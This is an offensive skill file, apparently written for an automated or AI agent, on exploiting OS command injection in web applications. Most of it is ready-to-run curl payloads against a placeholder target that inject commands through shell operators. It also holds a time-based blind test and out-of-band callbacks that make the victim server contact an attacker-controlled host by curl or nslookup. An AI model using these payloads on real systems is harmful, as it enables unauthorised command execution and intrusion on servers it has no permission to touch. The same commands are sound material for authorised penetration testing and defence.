exploit-command-injection

name	exploit-command-injection
description	OS Command Injection — exploiting applications that pass user input to OS commands without sanitization. Covers injection operators (;, |, ||, &&, $(), backticks, newline), blind detection (time-based, OOB callback), and bypass techniques (space, keyword, encoding).
metadata	{"subdomain":"web-exploitation","mitre_attack":"T1059","when_to_use":"command injection, os command, cmdi, rce command, shell injection, system command, exec, popen, subprocess, backtick injection, semicolon injection, pipe injection, ping command, os.system, shell=True, eval, passthru"}

OS Command Injection

Exploits applications that pass user input to OS commands without sanitization.

Detection

# Basic tests
curl -s 'https://<TARGET>/ping?host=127.0.0.1;id' -o cmdi_semicolon.txt
curl -s 'https://<TARGET>/ping?host=127.0.0.1|id' -o cmdi_pipe.txt
curl -s 'https://<TARGET>/ping?host=127.0.0.1$(id)' -o cmdi_subshell.txt
curl -s 'https://<TARGET>/ping?host=127.0.0.1`id`' -o cmdi_backtick.txt
curl -s 'https://<TARGET>/ping?host=127.0.0.1%0aid' -o cmdi_newline.txt

# Blind detection — time-based
curl -s 'https://<TARGET>/ping?host=127.0.0.1;sleep+5' --max-time 10 -w '\nTime: %{time_total}s\n'

# Blind detection — out-of-band (DNS/HTTP callback)
curl -s 'https://<TARGET>/ping?host=127.0.0.1;curl+http://<CALLBACK>/cmdi'
curl -s 'https://<TARGET>/ping?host=127.0.0.1;nslookup+<CALLBACK>'